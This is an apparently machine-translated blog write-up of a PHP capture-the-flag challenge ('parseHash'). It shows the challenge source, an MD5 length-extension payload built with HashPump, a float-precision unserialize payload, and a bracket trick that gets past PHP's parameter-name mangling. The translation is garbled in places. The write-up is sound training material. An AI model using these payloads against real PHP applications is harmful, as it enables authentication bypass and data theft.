El primer concurso de ciberseguridad de la Copa Ganwang [parseHash]

Prepara una salsa de soja.
Grabe algunas preguntas de la web, varias y otras preguntas de la competencia también están bastante en línea.

Como no lo escribí directamente después de la pelea, el campo de tiro ahora está cerrado y no se puede revertir, así que modifiqué el valor clave y cambié el hash nuevamente. El tema sigue siendo el mismo.

Código fuente:

<?php 
include("key.php");
class person{
    
     
    public $aa; 
    public $bb; 
    public $username; 
    public $password; 
    public function __construct($key=''){
    
     
        $this->username="jxsz";
        $this->password="jxsz";
        if(strlen($key)==16&&md5($key . urldecode( $this->username .  $this->password)=="2c16349ea6a20496e05fb40e6c128b8b")){
    
    
            echo "Welcome";
        }  
    } 

    public function __destruct(){
    
     
        $this->aa = (string)$this->aa; 
        if(strlen($this->aa) > 5 || strlen($this->bb) > 5||preg_match('/INF|NAN|M_/i', $this->aa)){
    
     
            die("no no no"); 
        } 
        if($this->aa !== $this->bb && md5($this->aa) === md5($this->bb) && $this->aa != $this->bb){
    
     
            echo file_get_contents("/flag"); 
        } 
    } 
} 
highlight_file(__FILE__); 
$person=new person($key);
$other_pwd=$_POST["pwd1"];
$other_hash=$_POST["hash_code"];
if(md5($key . urldecode("jxsz" . $other_pwd))==$other_hash&&strpos(urldecode($other_pwd),"szxy666")>0){
    
    
    echo "66666666666";
    unserialize($_GET['sz_sz.sz']);
}

Pregunta original:
Inserte la descripción de la imagen aquí
Primero, debemos cumplir con las siguientes condiciones para ingresar al segmento de código:

if(md5($key . urldecode("jxsz" . $other_pwd))==$other_hash&&strpos(urldecode($other_pwd),"szxy666")>0){
    
    
    echo "66666666666";
    unserialize($_GET['sz_sz.sz']);
}

Para deserializarlo, observe el código:

public function __construct($key=''){
    
     
        $this->username="jxsz";
        $this->password="jxsz";
        if(strlen($key)==16&&md5($key . urldecode( $this->username .  $this->password)=="2c16349ea6a20496e05fb40e6c128b8b")){
    
    
            echo "Welcome";
        }  
    }

Se puede saber que esto puede evitarse mediante el ataque de expansión de longitud de hash.
Condiciones de ataque para ataques de expansión de longitud de hash:

Cuando se conoce MD5 (secreto), MD5 (secreto || relleno || m ') se puede calcular fácilmente sin conocer el secreto, donde m'es
cualquier dato, || es un conector y puede estar vacío . padding es el último byte de relleno del secreto.
El byte de relleno de md5 contiene la longitud de todo el mensaje, por lo tanto, para calcular con precisión el valor del relleno, también necesitamos conocer la longitud del secreto.

Se pueden resumir los siguientes puntos:

  • Prepare un texto cifrado y algunos datos para construir una cadena y utilice una función hash como MD5 para generar un valor hash (la denominada firma).
  • Deje que el atacante envíe datos y valores hash, pero el atacante no conoce el texto cifrado.
  • El servidor construye los datos enviados y el texto cifrado en una cadena y, después del hash, juzga si es igual al valor hash enviado.

Aquí puede usar directamente HashPumpesta herramienta para construir la carga útil del ataque de extensión de longitud hash:
dirección del proyecto github: https://github.com/bwall/HashPump
Como tenemos que omitirlo strpos(urldecode($other_pwd),"szxy666")>0, debemos configurar los datos de relleno extendidos en szxy666 para omitirlo. Encima.
Inserte la descripción de la imagen aquí

d6659e29cc6a0878d07b19dd29a70ddc
jxsz\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00szxy666

Será \xreemplazado por %y luego pasado en los parámetros:

pwd1=jxsz%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00szxy666&hash_code=d6659e29cc6a0878d07b19dd29a70ddc

Inserte la descripción de la imagen aquí
Omita con éxito la ejecución y la salida 66666666666.
Lo siguiente que debemos hacer es deserializar y omitir la comparación md5, y filtrar el valor de comparación anterior, la longitud del valor no puede ser mayor que 5, y el INF|NAN|M_método de derivación como el filtrado aún se puede omitir aquí con alta precisión:
enlace de referencia: https : //www.cnblogs.com/phpper/p/7664069.html
serialización:

class person{
    
    
    public $aa;
    public $bb;

 }
 $float=new person();
$float->aa=0.8 * 7;
$float->bb=7 * 0.8;
var_dump(serialize($m));
 ?>

Construya la carga útil de la siguiente manera:
Inserte la descripción de la imagen aquí

O:6:"person":2:{
    
    s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}

Sin embargo encontrado unserialize($_GET['sz_sz.sz']);nombres de los parámetros con caracteres especiales de allí ., se puede ver en el carácter PHP .filtrado de caracteres especiales tales como: https://github.com/php/php-src/commit//fc4d462e947828fdbeac6020ac8f34704a218834?branch=fc4d462e947828fdbeac6020ac8f34704a218834&diff=unified
Inserte la descripción de la imagen aquí en Entre ellos, podemos ver claramente que 空格或.或[PHP lo reemplazará con _, y el código puede ver que el carácter especial solo se reemplazará una vez.
Podemos utilizar _el mecanismo de procesamiento de caracteres especiales que serán reemplazados por , y solo serán reemplazados una vez, cambiando el parámetro a sz[sz.sz. En este caso, PHP lo tratará [como un carácter especial y lo reemplazará con _. Debido al mecanismo de reemplazo, .Omite el mecanismo de filtrado y no se reemplaza.
Entonces construimos el nombre del parámetro sz[sz.sz.
Pase el serializado directamente:

O:6:"person":2:{
    
    s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}

carga útil:

?sz[sz.sz=O:6:"person":2:{
    
    s:2:"aa";d:5.6000000000000005;s:2:"bb";d:5.6000000000000005;}

Consiguió la bandera con éxito.
Inserte la descripción de la imagen aquí

flag{
    
    hashparse+sz_sz.sz}

Supongo que te gusta

Origin blog.csdn.net/qq_36618918/article/details/108544702
Recomendado
Clasificación